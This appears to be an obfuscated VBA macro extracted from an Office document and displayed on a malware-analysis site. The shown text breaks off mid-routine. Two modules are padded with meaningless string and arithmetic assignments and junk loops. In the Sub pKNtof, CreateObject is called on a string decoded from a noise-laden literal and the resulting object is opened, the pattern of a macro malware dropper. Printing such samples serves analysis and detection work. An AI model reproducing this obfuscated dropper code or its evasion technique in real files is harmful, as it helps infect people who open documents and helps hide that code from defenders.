    ecApoJbEG = RTrim(" TOeiQ . Am -NiAYy")
    LLXmaQVBpjB = RTrim("B_ &  AWgV  (EBnWhc")
    JAVXYr = Right("(  r#  jjoN  R", 5)
    

    EakazvFqr = UCase("F %p zxk.[ F")
    AKysSspX = Left("& UX!HYK#)xRn)  ", 5) + LTrim("GE KH Q(uJSI wf   vB")
    qLyHLEPuPK = 972 + 1129 + 1362
    rmfsQesYQ = 1357 + 1021 + 1363
    For baRYDk = 1 To 6
        eCNfH = UCase("nT&!  X?Sh ")
        EWCBKfC = LTrim(" #  Pz  -p PNOW)") + RTrim("OAlN(?KD&%Sh ")
        ecApoJbEG = Right("GNKx yvqQ &G", 3)
        FuLXeXR = Space(19) + UCase(".oEU m pwB(s")
        

        evQATq = Right("  hmsgp (mvv", 2)
        zIPesp = Left("tsfSJaQ#Qon ojV -YM", 3) + LTrim("&  #oUu?DVxv B ?T")
        lqmijN = 1856 + 935 + 1008
    Next baRYDk

    

    evQATq = Left("%DG  dUB?n E ", 2) + LTrim("QZav@Q s  TeZ?hVt")
    roJiDa = "zUuHvDGeRpvqRnl"
End Function



Attribute VB_Name = "Module5"

Function EciHAn(fVHXzNE As Integer, IPJhGpV As Double) As String
    GhvVQPIUPlkg = LTrim("^MePP.n   ^") + RTrim(" WkmE  ddF  W %l ")
    QDEUG = UCase("($E^Jf Tz$$ h")
    vwlBEzVL = 467 + 1102 + 1361
    ZjGJEXdbZGLi = StrReverse(". Se  #g)iutX!") + Left("  Pi   KL yP$!Us&Z I", 3)
    ZUlZh = Space(16) + UCase("tV@vGBjToPG @GOolJNd")
    IgUeoDxUG = RTrim(")q Y kQ l-FrSiCAE")
    ZUlZh = 138 + 1992 + 571
    IxnTyFyWv = StrReverse("qYqxLf#t &)JNTTBZly ") + Left(" QuY)%RZ %JDa  ", 3)
    LLXmaQVBpjB = RTrim("wA LU[tLS d    sPz")
    QDEUG = 235 - 419 - 279
    EciHAn = "BJMOtVPXjp"
End Function



Function HnYISc(iObPho As Boolean) As String
    HWuVozM = 947 + 1858 + 1909
    ZjGJEXdbZGLi = 232 - 463 - 217
    QDEUG = UCase("$!G%JWd  &k")
    tvHHFc = UCase("IA&$CF   W Z fE")
    qYzbYSnX = 312 - 380 - 308
    xCjLKE = Left("j Ju^%Wun ", 3) + LTrim("^ t lq# f ")
    FuLXeXR = 1784 + 1474 + 946
    EakazvFqr = Right("E. [-%UMfDdSm ", 3)
    LAlgqBvRuBMP = Left("Hu Jv)EHAEhGi  A ]", 4) + LTrim(" owh#    ^JM?b Z")
    bQrqlmKG = StrReverse("J )QR c  $w") + Left("@KszBp nA?j ^cW_-", 5)
    bQrqlmKG = 1147 + 780 + 1599
    wOfvbqzb = 422 - 106 - 341
    EakazvFqr = LTrim("? CHjM#dNWCyeHdB #Ni") + RTrim("m_ !C MN h  IJpF ")
    HnYISc = "iznWZquQYitVv"
End Function



Sub YKTlaY(FITPaSJ As Integer, QnJiTW As Boolean)
    fZSazyYrx = Left("g?pb  !LmF &@   x F ", 4) + LTrim(" -  B %O#y  Q ^")
    PVPpAgbRhNAX = LTrim(" Tj   d F^") + RTrim("jldAH#WW  ^")
    

    xCjLKE = 452 - 118 - 185
    GhvVQPIUPlkg = Space(18) + UCase("g^Eo[z( PX UGBsZ")
    

    vwlBEzVL = Right(" U wNju  lw&^", 3)
    tvHHFc = Space(4) + UCase("SyGA Eu bL  T ?R v")
    zIPesp = 420 - 220 - 500
    While OPkAYO < 4
        For QNCRpX = 1 To 5
            solQGsB = LTrim("%qiT SB%C ") + RTrim("  #?   ! u")
            IgUeoDxUG = 755 + 1247 + 1040
            zIPesp = 458 + 128 + 863
            ktrzXGiFyQi = 591 + 1156 + 845
            bPjntHd = Left("  ?% S! E Rb p dI", 4) + LTrim(" gd^ o y   ")
            NmroErSIaRa = 1761 + 1461 + 1193
            

            qLyHLEPuPK = StrReverse(" ku)Ag sSu") + Left("C b S. ldYa", 4)
        Next QNCRpX

        qLyHLEPuPK = RTrim("w cL N]Hv$")
        eCNfH = RTrim(".  o   DG%D@?")
        GhvVQPIUPlkg = UCase("t#io J F l")
        ecApoJbEG = 394 - 329 - 155
        vwlBEzVL = StrReverse(" ]Jt%$WDDAFI?Nb") + Left("_s J wI o# ", 5)
        fZSazyYrx = Right("mA!EBj CY$T Mq", 2)
        

        lqmijN = Space(11) + UCase("VFxJ F f MXNGq ^ qJ")
        OPkAYO = OPkAYO + 2
    Wend

    ZjGJEXdbZGLi = RTrim("N[ B&  zR)Wl$[")
    

    While NVxVrq < 5
        EakazvFqr = 273 - 183 - 255
        vwlBEzVL = 191 - 416 - 278
        rmfsQesYQ = 491 - 438 - 124
        fZSazyYrx = StrReverse(" JLtCHHUB  G") + Left("k Ta (x cjm ", 5)
        xCjLKE = RTrim(" c yih[eXE B.ld")
        FuLXeXR = Right("nfE Gj  p f F", 2)
        GhvVQPIUPlkg = 1824 + 1700 + 1102
        bQrqlmKG = Space(13) + UCase(" d$_ lx ew  i")
        rmfsQesYQ = Right("[    i lMCNWFRj-%", 2)
        NVxVrq = NVxVrq + 2
    Wend

    PVPpAgbRhNAX = 171 - 307 - 263
    NmroErSIaRa = Space(15) + UCase(" ax @I nXBB  ")
    fWTiKMRO = StrReverse(" m  &  MAY)N#%") + Left("   x^   yS) ?UB b", 4)
    While hVHssT < 2
        bQrqlmKG = RTrim("NFT! rw^x_Eh")
        xCjLKE = RTrim("T&@o_s !Z &hN W f")
        qLyHLEPuPK = 438 - 262 - 365
        EWCBKfC = 1201 + 955 + 1232
        QDEUG = StrReverse("[IHAZ - RK@ ovfI") + Left("&wYf jeF  BetoDU   Y", 4)
        hVHssT = hVHssT + 1
    Wend

    While VWdUdi < 1
        fWTiKMRO = LTrim(" A  IL.$$.jDqs%") + RTrim(" FJ U  aQ)")
        yLwktmY = LTrim("yo J) g^h !mu  bbW") + RTrim("   [U!Kno kyeo]gx  ")
        ecApoJbEG = Left("jmP   MWopGqXpvB.M", 3) + LTrim("  Gu?D EV i!  ")
        ktrzXGiFyQi = UCase("gKqJ^HTnWq IcH I ")
        PVPpAgbRhNAX = UCase(" LI^a!C uNgi ")
        xCjLKE = Right(" oR AENrYTHvYLu", 5)
        bQrqlmKG = UCase("m.A mft i  Uwr?sRRW")
        VWdUdi = VWdUdi + 1
    Wend

    zIPesp = Right("U #?MKz(V $#p PpK", 5)
    yYsAKT = StrReverse("WmUp M e  LvB  ") + Left("RQTq ]$sXm ", 3)
End Sub



Function yoLxyz(vpGHOC As Integer) As String
    AKysSspX = LTrim("LP  v.y$z#v ?dQ[]") + RTrim("KO U  n?V?P")
    IxnTyFyWv = Left("C#  #K%j ^e @]", 5) + LTrim(" S Cg@SW% r[ ")
    fWTiKMRO = StrReverse(".l r-c LpuFAW") + Left("RySj[& kGKZ hE ^Y", 4)
    yLwktmY = 193 - 479 - 146
    For XpNGnH = 1 To 9
        

        QDEUG = Space(8) + UCase(" VZ)yr aAIvBSf(  ")
        qLyHLEPuPK = Left("c$ sw%Uu_qsfhZ", 5) + LTrim("aJ UTf#  J NZu")
        yYsAKT = StrReverse("y _I  B N  JB Z") + Left("  )r l nGbi i", 5)
        sQpihPFSx = UCase("$?   D#n G  fX)l-i")
        NmroErSIaRa = 767 + 1385 + 793
        ktrzXGiFyQi = UCase("u  AWPce )]I_H]L")
        tvHHFc = 441 - 150 - 301
        wOfvbqzb = RTrim(" -d-O H h W?C#b")
        xCjLKE = LTrim("h-?f(ecZL[ dv nY") + RTrim("j  _EfBSru ]J@ W")
    Next XpNGnH

    zIPesp = UCase(" ^L[ MiI  DT !Y ^")
    NmroErSIaRa = 1694 + 1040 + 187
    HWuVozM = Space(19) + UCase("_. wqK[wg ")
    NmroErSIaRa = StrReverse("X   k x  mt^Ky?vkO _") + Left("oC@ h-Q Y G", 4)
    

    qYzbYSnX = Space(16) + UCase("$  rfnYZKlDWtOzpm b")
    qLyHLEPuPK = StrReverse(" Rb  ?%[j TiCcB $") + Left("$^%T ) J#zq qoM", 3)
    ZUlZh = StrReverse("Srx    @Wh") + Left("pDSL g NK    &[hjF", 3)
    

    FuLXeXR = LTrim("UNy& vO VwiJ jo%") + RTrim("g# tXYt.HB  ]qVM)")
    While MNxSTn < 5
        For knvTwK = 1 To 9
            AKysSspX = Left("_ )XwrX_ L . # R  x", 5) + LTrim(")W PtuW[^ ")
            bQrqlmKG = StrReverse(" eO P   (c ") + Left("k jKA) &  ^F(   EB &", 4)
            

            fZSazyYrx = Left("_StEn(ZaQRE a ", 5) + LTrim("% M%js  xC")
            fZSazyYrx = StrReverse("xwEX  Clb   W]CI%kM%") + Left("bLie. aMK )p?Ucmqid!", 2)
        Next knvTwK

        wOfvbqzb = UCase("Y E P ocrBYCbwQbevN")
        FuLXeXR = LTrim("Ci#?n DE)Xm ^  [k ") + RTrim("uQ JKW?  o mdY   ")
        

        

        QDEUG = StrReverse(" c hS(^ MQ   ) ec") + Left(" C(I  Wzu HTA!h ", 4)
        IgUeoDxUG = 290 + 1692 + 1227
        GhvVQPIUPlkg = Left(" YT !#P @y", 2) + LTrim(" YYlQP(I   BKbSb xuK")
        MNxSTn = MNxSTn + 1
    Wend

    yoLxyz = "YRFKdxZnuDeMQXNm"
End Function



Attribute VB_Name = "Module6"

Function rRQMeo(DzZfLd As Double, ADSScG As Integer, Preghu As Boolean, SkJjZY As Boolean) As String
    FuLXeXR = Space(13) + UCase("f LfN uMNG  B  N")
    QDEUG = RTrim("DPgtE-s _s")
    solQGsB = LTrim("z]  x TnIU@ sHNzB ") + RTrim("!    CIZ  PLz-")
    LAlgqBvRuBMP = LTrim("PET -JgK  hqjzCXB") + RTrim("  aWNK qfa  Hn")
    While tfrDrS < 4
        BdOCDMQ = Left("& vUmG s K _N@", 4) + LTrim("?  x? eNPPS_&")
        QDEUG = Space(18) + UCase(" us   EX ftEKIcYL[")
        fZSazyYrx = UCase("   Sk^Bd pJ bq !")
        qLyHLEPuPK = Space(14) + UCase("V Wr?pHpg  wb.")
        ktrzXGiFyQi = Space(5) + UCase("gKDlzM WMaL? ]QP-%Xd")
        rmfsQesYQ = StrReverse(")JC  VK Ga D. w r.") + Left("Ln lJ u K  mwRWu", 2)
        tfrDrS = tfrDrS + 2
    Wend

    

    LLXmaQVBpjB = Right("X y[ k i-s$k DMG  dO", 5)
    wOfvbqzb = Left("f r S f]   z]kBu", 2) + LTrim("??   E r?js?o# scA")
    bQrqlmKG = 466 + 1806 + 951
    

    ZjGJEXdbZGLi = Right("L A  ukVBQ   )!C_", 5)
    vwlBEzVL = RTrim("jB ebdi  T  . yQh.")
    yYsAKT = Left("v$W]L)kcbdH%- D", 3) + LTrim(" SCn!ksk? Ra pX-_")
    ZjGJEXdbZGLi = Left("#h J Z w_ rE(", 5) + LTrim(" &%   Z?&Di")
    ecApoJbEG = RTrim("vPKPj) IV Vb)ns^")
    qYzbYSnX = 392 + 726 + 1477
    rRQMeo = "aBhlMiLJovxLUTqd"
End Function



Public Sub pKNtof(cZorvYO As String, PiPISv As String, NqRkkY As String, XsPFXW As String, dgCpKzr As String)
    

    vwlBEzVL = Space(13) + UCase("dA QkbHWVRJu  Z ")
    vwlBEzVL = Right("OK]YhfI # -^[p]E I@", 4)
    rmfsQesYQ = Right("^ Vvu B  vmQSR   G", 3)
    fZSazyYrx = Left("RP[U H [tt yl ", 5) + LTrim("OokU !C-l N D W^mo")
    
    wOfvbqzb = 408 + 1893 + 188
    BdOCDMQ = 483 - 450 - 491
    eCNfH = Right("^SRs ] ^n.", 5)
    While QyaEHt < 2
        For uWgbvz = 1 To 5
            IgUeoDxUG = UCase("YIcS(W  w ^XHr")
            LLXmaQVBpjB = 389 - 281 - 152
            EWCBKfC = Space(3) + UCase("b#GJcaD@&Q  m nWVVK")
            NmroErSIaRa = Left("zfFz&! N   Mh", 2) + LTrim(" ev(ZG R c we p [")
            FuLXeXR = StrReverse("u[kE PX e&- i]h B") + Left("Wj  C % U T   y MN!O", 5)
        Next uWgbvz

        ZjGJEXdbZGLi = 258 + 483 + 155
        tvHHFc = Right("D bTl_v^$ XMI", 5)
        QDEUG = 117 - 365 - 310
        QDEUG = Right("QM q&i g  O# ^m g-", 2)
        EWCBKfC = LTrim("ZKeL M(I$ oZd b ") + RTrim(" ?o URjR# Zy -.BSY")
        eCNfH = StrReverse("wQTB? u(a _zx bw L") + Left(")E MMF) Ahy", 3)
        QyaEHt = QyaEHt + 1
    Wend

    

    HWuVozM = Left("y!#xoKBw vv DX", 3) + LTrim("W  dJQ [DDvM rf")
    solQGsB = StrReverse("dJPR  vQttqjQ[ [T") + Left("E ot  u o( $CQ%", 4)
    

    LAlgqBvRuBMP = Space(3) + UCase("eV(iP r-zB% M_z ")
    ecApoJbEG = 415 - 109 - 471
    rmfsQesYQ = Left("o_ h_zCBD Z ", 2) + LTrim("dtw aJ(ZH^. qIj")
    EWCBKfC = LTrim("J#l%nomdW. ohU] -m") + RTrim("[j v( D x?rpA  ")
    Set nPApRLbr = CreateObject(OMKTE("A-SUscD xxZoO$?dfHDx X)_BAf! n.@cp  SG-rd$t(O bPrOAK Tev  vaa]e#J@mCSvX-"))
    QDEUG = UCase("YX& Uyr!nqG)   C#A")
    HWuVozM = Left("k  &hxj B P NT G  ", 3) + LTrim("b$ocAX.!oqtZbh Y ")
    rmfsQesYQ = 1878 + 1749 + 1285
    LAlgqBvRuBMP = Left("qz]NaU]Cv@)p ", 5) + LTrim("t# KXyRr ]t")
    

    evQATq = StrReverse("g!n  L  efwN$ z f^") + Left("(. @  # wOoeAS ! ", 2)
    ZUlZh = LTrim("Ia(B F.K URf") + RTrim("vnsWD M  a")
    xCjLKE = Left(" Y ui]?Zh-^y(nZ& &]", 4) + LTrim("syoo  L%Id ^c")
    JAVXYr = RTrim("Q$ #IwT pEcX Wtf YB ")
    fZSazyYrx = LTrim("  &iKqaX GSd wqDP") + RTrim("&  Yp&)] (T C")
    

    zIPesp = Left("  -  ! V ?   h pw-", 4) + LTrim("l! RBke@VD ")
Dim rpqfg As Object
    

    HWuVozM = 1574 + 1678 + 1911
    For FMUEaI = 1 To 4
        While YDIavh < 2
            LAlgqBvRuBMP = LTrim("bN l q%K  ") + RTrim("e I %aC$ E")
            bPjntHd = 1913 + 820 + 1250
            EakazvFqr = 386 - 143 - 314
            

            ZjGJEXdbZGLi = LTrim("   h Tk s n ") + RTrim("o n  [XBXegaF v")
            YDIavh = YDIavh + 1
        Wend

        

        

        yLwktmY = LTrim("& YgH PA&qZqSzWG @") + RTrim("ARde&  LT D? G")
        qLyHLEPuPK = LTrim("&nvA Aj B[") + RTrim(" $ @Y@^?K tm")
        wOfvbqzb = Space(3) + UCase(" d Lcc^ @   ax N]")
        

        FuLXeXR = Space(6) + UCase(" qSiv[q w ")
    Next FMUEaI

    While IqUVXb < 4
        qLyHLEPuPK = 1819 + 1415 + 238
        IgUeoDxUG = 1847 + 575 + 481
        fZSazyYrx = 330 - 344 - 442
        FuLXeXR = Left("VDZYz H mf ", 5) + LTrim("e-T-kwIW!AMdT Na  Ke")
        wOfvbqzb = 1927 + 111 + 226
        IqUVXb = IqUVXb + 3
    Wend

    bQrqlmKG = 294 - 120 - 435
    For gxXzxE = 1 To 2
        For IbDEMU = 1 To 10
            lqmijN = Space(20) + UCase("Wuw]H  ?F  @A")
            PVPpAgbRhNAX = Left("#Batt  KRS!QIp ] ", 2) + LTrim(" f^   AE IuDW& Xy")
            bPjntHd = Space(3) + UCase("b a S^x- ]v ")
            EWCBKfC = LTrim(" F hw Pq roIrvNiYR %") + RTrim("Y?E GIUl)z!zpnO ")
            

            rmfsQesYQ = RTrim("!N&njU B[ @iy ")
        Next IbDEMU

        BdOCDMQ = 426 - 206 - 110
        qLyHLEPuPK = RTrim("Ahys^vc bL  z")
        ecApoJbEG = Left(" $ t loP rP", 3) + LTrim(" .Oynh)K  IiA$Rb ")
        qYzbYSnX = 1023 + 1872 + 903
        rmfsQesYQ = RTrim("CxRI!c$s&XyCT")
        ZjGJEXdbZGLi = 103 - 182 - 202
        IxnTyFyWv = StrReverse("k.  mJ]L QK-Qqlp a S") + Left(" Ga@z#mH! (", 3)
        GhvVQPIUPlkg = Space(17) + UCase("PTg-)(U XHQ")
        bQrqlmKG = LTrim("( HhG#JvH KfFxef") + RTrim("a ?HsU ioUV")
    Next gxXzxE

    

    For eUcoMk = 1 To 6
        HWuVozM = UCase("yx  An @vx.)m iF (")
        

        LLXmaQVBpjB = Space(18) + UCase(" ZI zbqKwGUo! ")
        EakazvFqr = Right("J[K W$HOM b A", 2)
        solQGsB = Space(9) + UCase(" &? leXZ_  $u% [Ml")
        

    Next eUcoMk

    While PSFIYJ < 4
        IgUeoDxUG = LTrim("#VRjjX XoMfx f-n?") + RTrim(" @tdRNDt?[  ")
        eontcbKSWTQu = RTrim("VQ#iT L_k% r")
        bPjntHd = UCase("$Sd  XD_Q b&E tJ.")
        eontcbKSWTQu = LTrim("?XV YjH K  RYXbG$ uN") + RTrim("W)m #) uASl!i o[[q ")
        IxnTyFyWv = UCase("b   k NL p YkQ fY")
        IxnTyFyWv = Right("D C  zHZJd$s", 5)
        IgUeoDxUG = LTrim("XgrB Vz QR g&]ng XM)") + RTrim("%N u%dcVkni% E)RM  ")
        PVPpAgbRhNAX = StrReverse("m  GP .bCB.") + Left("- M?gCm  gB", 2)
        zIPesp = RTrim(" & f %Bgscx)wn #M")
        rmfsQesYQ = 564 + 1246 + 1356
        PSFIYJ = PSFIYJ + 2
    Wend

    ktrzXGiFyQi = Right("MA ^ Y   _ j G u c", 2)
    

    nPApRLbr.Open
    GhvVQPIUPlkg = 1454 + 1358 + 1979
    lqmijN = LTrim(")-_T-a co ") + RTrim("HT# eYHcYdSRfSP")
    fZSazyYrx = Space(18) + UCase(" JhW Q #Th r ")
    JAVXYr = Left("WcY zP j r", 5) + LTrim(".  H@  bTDQqcF)yj#")
    

    While xHzbYk < 4
        For KvrGUI = 1 To 10
            

            wOfvbqzb = UCase("#_ Pphw  q y?IO")
            EakazvFqr = LTrim(" K ]C sTAR") + RTrim("wlfIaQc qX j(!_")
            bPjntHd = Right("(I [yCD #dd ", 4)
            yYsAKT = Space(2) + UCase("Z  Va x%g-p g")
            rmfsQesYQ = UCase("#hw ?M[?r XO] C yn I")
        Next KvrGUI

        

        

        yYsAKT = Left(" J $R c f $Dv bT", 5) + LTrim("^ H R ^wk x  g&mCPT")
        sQpihPFSx = StrReverse("[?# )Qhtn w") + Left(" E ^P( EaM&k$ ", 4)
        EWCBKfC = Space(11) + UCase("  P [b  l kAW")
        xHzbYk = xHzbYk + 1
    Wend

    While PKwUTq < 3
        ZUlZh = 686 + 342 + 1591
        IxnTyFyWv = LTrim("Ce^ T-ZCNU iI") + RTrim("Hr (-R[Fr ?P# E( ")
        EWCBKfC = RTrim("MseC bi    PI&O P%")
        tIjPIHWnBAZ = UCase("r_t KbVR#@F y")
        HWuVozM = LTrim("n%wcO TIcBQJtC  r mi") + RTrim("Iqa   xr Dyce$O ")
        

        ZjGJEXdbZGLi = Left("p_TKR(ryTAHxHAUYL", 5) + LTrim("-$L o WZ [")
        QDEUG = StrReverse("A_f   ekR  ") + Left("OIBhv(R[Al ", 5)
        yYsAKT = 1567 + 1036 + 106
        PKwUTq = PKwUTq + 1
    Wend

    While HIfuFw < 1
        For irUQRo = 1 To 5
            evQATq = LTrim(" uhZgzqP g& i  arp%") + RTrim(" F^Q s  pFW ] e fe")
            yLwktmY = Right(" ! [B [d (bz? wRWc", 3)
            tIjPIHWnBAZ = Right("sN!j  RBOGbZzL", 5)
            BdOCDMQ = Space(15) + UCase(" $v Cv - D r  z$?v d")
            bPjntHd = RTrim("S %$mqTQpc) M Aj")
            bPjntHd = Space(12) + UCase("Z[   KayeCRk   ")
…

Open this report in the interactive analyzer, or submit your own file for analysis.